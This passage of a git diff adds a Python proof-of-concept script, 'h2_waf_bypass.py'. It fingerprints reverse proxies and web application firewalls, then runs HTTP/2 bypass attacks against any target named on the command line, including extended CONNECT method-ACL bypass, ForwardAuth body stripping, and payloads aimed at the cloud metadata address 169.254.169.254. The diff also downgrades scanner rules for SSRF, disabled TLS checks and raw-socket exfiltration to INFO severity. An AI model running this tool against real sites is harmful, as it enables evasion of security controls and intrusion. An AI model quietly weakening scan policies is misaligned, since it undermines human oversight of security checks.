f'ERROR: {e}') + status2 = 'error' + if status2 == 200: + print(f'\n [VULNERABLE] CONNECT converted to GET — method ACL bypassed') + return True + print(f'\n [SAFE] Extended CONNECT blocked') + return False + + +def test_forwardauth_body_strip(host, port, proxy_name): + print(f'\n {"=" * 60}') + print(f' [ATTACK] ForwardAuth Body Stripping') + print(f' {"=" * 60}\n') + payloads = [ + ('jsonrpc', b'{"jsonrpc":"2.0","method":"test","id":1}'), + ('cmd=exec', b'cmd=exec&target=internal'), + ('169.254', b'{"url":"http://169.254.169.254/latest/meta-data/"}'), + ] + results = [] + for label, payload in payloads: + code, _, _ = h1_request(host, port, 'POST', '/', body=payload, + content_type='application/json') + pr(f'POST body="{label}" (JSON)', code) + results.append((label, code)) + bypassed = [r for r in results if r[1] == 200] + if len(bypassed) == len(results): + print(f'\n [VULNERABLE] All body payloads passed — ForwardAuth body blind') + return True + print(f'\n [SAFE] Body payloads blocked') + return False + + +# --- Orchestrator --- + +def run_fingerprint(host, port): + print(f'\n{"#" * 72}') + print(f'# Phase 1: Proxy Fingerprinting') + print(f'{"#" * 72}') + fp = fingerprint_proxy(host, port) + print(f'\n Target: {host}:{port}') + print(f' ALPN: {fp["alpn"]}') + print(f' H2 OK: {fp["h2_ok"]}') + print(f' Proxy: {fp["proxy"]} (confidence: {fp["confidence"]})') + print(f'\n Signals:') + for name, val in fp['signals']: + print(f' {name:30s} = {val}') + if not fp['h2_ok']: + print(f'\n [!] H2 not available') + return fp, None + print(f'\n{"#" * 72}') + print(f'# Phase 2: WAF Fingerprinting') + print(f'{"#" * 72}') + waf = fingerprint_waf(host, port, fp['proxy'], fp['h2_ok']) + print(f'\n WAF type: {waf["waf_type"]}') + print(f' WAF engine: {waf["waf_engine"]}') + print(f' Path WAF: {waf["path_waf"]}') + print(f' Body WAF: {waf["body_waf"]}') + print(f'\n Signals:') + for name, val in waf['signals']: + print(f' {name:30s} = {val}') + return fp, waf + + +def run_exploits(host, port, fp, waf): + proxy = fp['proxy'] + waf_type = waf['waf_type'] if waf else 'unknown' + waf_engine = waf['waf_engine'] if waf else 'unknown' + json_gap = any(v for k, v in waf.get('signals', []) if k == 'json_body_gap') if waf else False + + attacks = [] + if waf and not waf.get('path_waf'): + attacks.append('no_path_inspection') + if waf_type == 'out-of-process' and waf and waf.get('body_waf'): + attacks.append('body_timing') + if waf_type == 'out-of-process' and waf and waf.get('body_waf'): + attacks.append('body_size_bypass') + if waf_type == 'forwardauth': + attacks.append('forwardauth_body') + if waf and waf.get('path_waf'): + attacks.append('path_normalization') + if json_gap: + attacks.append('json_body_gap') + if proxy in ('haproxy', 'unknown'): + attacks.append('extended_connect') + + if not attacks: + print(f'\n No applicable attacks for {proxy} + {waf_engine}') + return {} + + print(f'\n{"#" * 72}') + print(f'# Phase 3: Exploitation — {proxy} + {waf_engine}') + print(f'{"#" * 72}') + + findings = {} + dispatch = { + 'no_path_inspection': test_no_path_inspection, + 'body_timing': test_h2_body_timing, + 'body_size_bypass': test_body_size_bypass, + 'forwardauth_body': test_forwardauth_body_strip, + 'path_normalization': test_path_normalization, + 'json_body_gap': test_json_body_gap, + 'extended_connect': test_extended_connect, + } + for attack in attacks: + if attack in dispatch: + findings[attack] = dispatch[attack](host, port, proxy) + + vuln = {k: v for k, v in findings.items() if v is True} + print(f'\n{"#" * 72}') + print(f'# Results — {proxy} + {waf_engine}') + print(f'{"#" * 72}') + if vuln: + print(f'\n Confirmed bypasses ({len(vuln)}):') + for name in vuln: + print(f' [+] {name}') + else: + print(f'\n No bypasses confirmed.') + return findings + + +if __name__ == '__main__': + if len(sys.argv) < 3: + print('Usage: python3 h2_waf_bypass.py [fingerprint|exploit|all]') + print('\nExamples:') + print(' python3 h2_waf_bypass.py target.com 443') + print(' python3 h2_waf_bypass.py target.com 443 fingerprint') + print(' python3 h2_waf_bypass.py target.com 443 exploit') + sys.exit(1) + + target = sys.argv[1] + port = int(sys.argv[2]) + mode = sys.argv[3] if len(sys.argv) > 3 else 'all' + + print(f'HTTP/2 WAF Bypass — Unified PoC') + print(f'Target: {target}:{port}') + print(f'Mode: {mode}') + + if mode in ('fingerprint', 'all'): + fp, waf = run_fingerprint(target, port) + + if mode in ('exploit', 'all'): + if mode == 'exploit': + fp, waf = run_fingerprint(target, port) + if fp['h2_ok']: + run_exploits(target, port, fp, waf) + else: + print('\n [!] H2 not available — skipping exploits') diff --git a/scan-policy.yaml b/scan-policy.yaml index 194975e..a824839 100644 --- a/scan-policy.yaml +++ b/scan-policy.yaml @@ -131,6 +131,26 @@ severity_overrides: severity: MEDIUM reason: "Skills use curl|bash for installing known security tools from trusted repos" + # INSECURE_TLS_VERIFY_DISABLED fires on pentest PoC scripts that + # intentionally disable certificate verification to test arbitrary targets. + - rule_id: INSECURE_TLS_VERIFY_DISABLED + severity: INFO + reason: "Pentest PoC scripts intentionally disable TLS verification to test arbitrary targets" + # SSRF_METADATA_URL fires on pentest payloads that include cloud metadata + # addresses (169.254.169.254) as test vectors. + - rule_id: SSRF_METADATA_URL + severity: INFO + reason: "Security skills contain SSRF test payloads targeting cloud metadata as exploitation examples" + # DATA_EXFIL_RAW_SOCKET fires on security tools that use raw sockets + # for protocol-level testing (HTTP/2 frame construction, etc.). + - rule_id: DATA_EXFIL_RAW_SOCKET + severity: INFO + reason: "Protocol-level security tools use raw sockets for H2 frame construction and testing" + # INSECURE_SSL_CONTEXT fires on the same TLS disable pattern. + - rule_id: INSECURE_SSL_CONTEXT + severity: INFO + reason: "Pentest tools require connecting to targets without certificate validation" + # -- Disabled rules ------------------------------------------------------- # Rules that consistently false-positive across the repo due to the # security-focused nature of these capabilities.